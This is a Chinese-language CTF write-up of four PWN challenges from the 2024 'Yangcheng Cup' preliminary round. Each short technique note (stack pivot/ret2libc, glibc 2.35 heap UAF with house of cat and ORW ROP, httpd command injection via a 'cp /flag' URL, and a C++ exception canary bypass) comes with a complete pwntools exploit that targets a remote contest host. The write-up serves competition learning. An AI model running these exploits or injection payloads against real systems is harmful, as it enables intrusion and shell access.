# 2024 年 “羊城杯” 粤港澳大湾区网络安全大赛初赛 PWN 部分 WriteUp【本科组】# 解题情况Category题目名称PwnpstackPwnTravelGraphPwnhttpdPwnlogger现在 CTF 大佬们都那么卷了吗:(可惜鄙人太菜:(离 AK 还剩一个 ptrace 注入:(虽然但是我一直在尝试 io_uring:(当了 io_uring 的小丑:(果然每次见到 io_uring 必破防:(
# PWN# pstack栈迁移 + ret2libc
123456789101112131415161718192021222324252627282930313233from pwn import*from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug'context(arch='amd64',os='linux')context.terminal=['tmux','splitw','-h']ELFpath = './pwn'p=remote('139.155.126.78',33481)#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})# p=process(ELFpath)#elf=ELF(ELFpath)#libc=ELF('./libc.so.6')buf =0x601000+0x800lr=0x4006DBgad1=0x4006C4payload=b'a'*0x30+p64(buf+0x30)+p64(gad1)p.sendafter("u grasp this little bit of overflow",payload)pause()pop_rdi=0x400773puts=0x400520payload=p64(buf+0x58)+p64(pop_rdi)+p64(0x600FC8)+p64(puts)+p64(gad1)payload=payload.ljust(0x30,b'\x00')+p64(buf)+p64(lr)# gdb.attach(p)p.send(payload)pause()p.recv()libc_base=u64(p.recv(6)+b'\x00\x00')-0x788f68880e50+0x788f68800000system=libc_base+0x050D70payload=p64(pop_rdi)+p64(0x601848)+p64(lr+1)+p64(system)+b'/bin/sh\x00'p.sendline(payload.ljust(0x30)+p64(0x601820)+p64(lr))p.interactive()
# TravelGraph2.35 版本 heap UAF,直接打 largebin attack + house of cat 一把梭。之后 ROP 打一下 ORW 就能拿到 flag 了。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwnfrom pwn import*from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug'context(arch='amd64',os='linux')context.terminal=['tmux','splitw','-h']ELFpath = './pwn'p=remote('139.155.126.78',36771)#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})# p=process(ELFpath)#elf=ELF(ELFpath)#libc=ELF('./libc.so.6')# car/train/plane# guangzhou/nanning/changsha/nanchang/fuzhoutrans=['guangzhou','nanning','changsha','nanchang','fuzhou','\x00\x00']def add(size,from_d,to,far,con): p.sendlineafter(" Calculate the distance","1") if size==0x520: p.sendlineafter("What kind of transportation do you want? ","car") elif size==0x530: p.sendlineafter("What kind of transportation do you want? ","train") else : p.sendlineafter("What kind of transportation do you want? ","plane") p.sendlineafter("rom wher",trans[from_d]) p.sendlineafter("To where?",trans[to]) p.sendlineafter("How far?",str(far)) p.sendafter("Note:",con)def dele(from_d,to): p.sendlineafter(" Calculate the distance","2") p.sendlineafter("From where?",trans[from_d]) p.sendlineafter('To where?',trans[to])def show(from_d,to): p.sendlineafter(" Calculate the distance","3") p.sendlineafter("From where?",trans[from_d]) p.sendlineafter('To where?',trans[to])def edit(from_d,to,num,con): p.sendlineafter(" Calculate the distance","4") p.sendlineafter("From where?",trans[from_d]) p.sendlineafter('To where?',trans[to]) p.sendlineafter("Which one do you want to change?",str(num)) p.sendlineafter("How far?","0") p.sendafter("Note:",con)def dijk(dist): p.sendlineafter(" Calculate the distance","5") p.sendlineafter("Where do you want to travel",trans[dist])def hack(): p.sendlineafter(" Calculate the distance","6")add(0x520,0,1,1000,b'./flag\x00\x00'*0x10)add(0x540,1,2,1000,b'./flag\x00\x00'*0x10)add(0x520,0,1,1000,b'./flag\x00\x00'*0x10)add(0x520,2,3,1000,b'./flag\x00\x00'*0x10)# dele(0,1)# show(0,0)dijk(3)dele(0,1)add(0x540,2,3,1000,b'a')add(0x520,0,2,1000,b'a')add(0x520,0,3,1000,b'a')show(0,3)p.recvuntil('Distance:1000')p.recvuntil('Note:')heap_base=u64(p.recv(6)+b'\x00\x00')-0x00005c8312455461+0x5c8312454000print(hex(heap_base))dele(1,2)dele(0,3)add(0x540,0,4,1000,b'a'*0x510)show(0,4)p.recvuntil(b'a'*0x510)libc_base=u64(p.recv(6)+b'\x00\x00')-0x0000774c6521ace0+0x774c65000000print(hex(libc_base))print(hex(heap_base))libcbase=libc_basefake_io=heap_base+0x0000625a85e98330-0x625a85e94000IO_wfile_jumps=libcbase+0x2170C0execve_addr=libcbase+0xeb080setcontext_61=libcbase+0x539E0+61# LOGTOOL['setcontext_61']=setcontext_61pop_rdi=0x02a3e5+libc_basepop_rsi=0x02be51+libc_basepop_rdx2=libc_base+0x11f2e7 ret=pop_rdi+1buf=heap_base+0x5c8f6383c9e0-0x5c8f6383b000open=0x1144E0+libc_baseread_a=0x1147D0+libc_baseputs=libc_base+0x80E50payload=p64(pop_rdi)+p64(buf)+p64(pop_rsi)+p64(0)+p64(pop_rdx2)+p64(0)*2+p64(open)payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf-0x100)+p64(pop_rdx2)+p64(0x100)*2+p64(read_a)payload+=p64(pop_rdi)+p64(buf-0x100)+p64(puts)rop=payloadpay=flat({0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data0x88:p64(fake_io+0x1e8),0xa0:[p64(fake_io+0x30)],0xc0:[p64(1)], #_mode0xd8:[p64(IO_wfile_jumps+0x30)], # vtable0x110:[p64(fake_io+0x118)], # wide_data -> vtable0x118:flat({0x18:[p64(setcontext_61)]},filler=b'\x00'),0x138:flat({0x68:p64(fake_io+0x1e8), 0x70:p64(0), 0x88:p64(0), 0xa0:p64(fake_io+0x1f8), 0xa8:p64(ret) },filler=b'\x00'),0x1e8:flat({0x00:p64(0)+p64(0),0x10:rop},filler=b'\x00')},filler=b'\x00')add(0x520,1,2,1000,b'a')add(0x520,3,3,1000,b'a')add(0x540,1,4,1000,b'a')add(0x540,4,4,1000,b'a')add(0x520,1,3,1000,b'a')add(0x530,1,1,1000,pay[0x00:])add(0x520,1,2,1000,b'a')# 2 4 / 3 4dele(1,4)dele(3,3)add(0x540,2,4,1000,b'a'*0x500+p64(0)+p64(0x531)+p64(0x400000001)+p64(0x300000100))add(0x540,1,2,1000,b'a')ioall=libc_base+0x021B680edit(1,4,0,p64(0)+p64(0x521)+p64(0)*3+p64(ioall-0x20))dele(1,3)dele(1,1)add(0x540,1,2,1000,b'a')add(0x540,1,2,1000,b'a')hack()p.interactive()
# httpd奇葩 WebPWNpopen 函数给了一次执行 shell 命令的机会,但是内容没法输出而且命令的字符被过滤了,所以先把 flag 文件 cp 到 index.html 里面,之后访问 index.html 就 OK 了。
EXP:首先执行:
123456789101112131415161718192021222324#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwnfrom pwn import*from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug'context(arch='amd64',os='linux')context.terminal=['tmux','splitw','-h']ELFpath = './httpd_patched'p=remote('139.155.126.78',31423)method='get'filename='/cp%20/flag%20./index.html'# filename='/index.html'# protocol='HTTP/1.0'p.sendline(method+' '+filename+' '+protocol)# pause()p.sendline("Host: 139.155.126.78:32304")# gdb.attach(p) p.sendline("Content-Length: 100")p.interactive()
之后执行:
123456789101112131415161718192021222324#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwnfrom pwn import*from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug'context(arch='amd64',os='linux')context.terminal=['tmux','splitw','-h']ELFpath = './httpd_patched'p=remote('139.155.126.78',31423)method='get'# filename='/cp%20/flag%20./index.html'filename='/index.html'# protocol='HTTP/1.0'p.sendline(method+' '+filename+' '+protocol)# pause()p.sendline("Host: 139.155.126.78:32304")# gdb.attach(p) p.sendline("Content-Length: 100")p.interactive()
# logger利用 cpp 的异常处理机制绕过 canary 直接执行 system ('/bin/sh')
12345678910111213141516171819202122232425262728293031#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwnfrom pwn import*from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug'context(arch='amd64',os='linux')context.terminal=['tmux','splitw','-h']ELFpath = './pwn'p=remote('139.155.126.78',35388)#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})# p=process(ELFpath)# gdb.attach(p)#elf=ELF(ELFpath)#libc=ELF('./libc.so.6')def trace(): p.sendlineafter("Your chocie:","1")def warn(con): p.sendlineafter("Your chocie:","2") p.sendafter("Type your message here plz: ",con)def exit(): p.sendlineafter("Your chocie:","3")# trace()for i in range(9): trace() p.send(b"/bin/sh\x00"*2) p.sendlineafter("Do you need to check the records?",b'n') # pause()warn(b'/bin/sh\x00'*14+p64(0x404218)+p64(0x401BC7))p.interactive()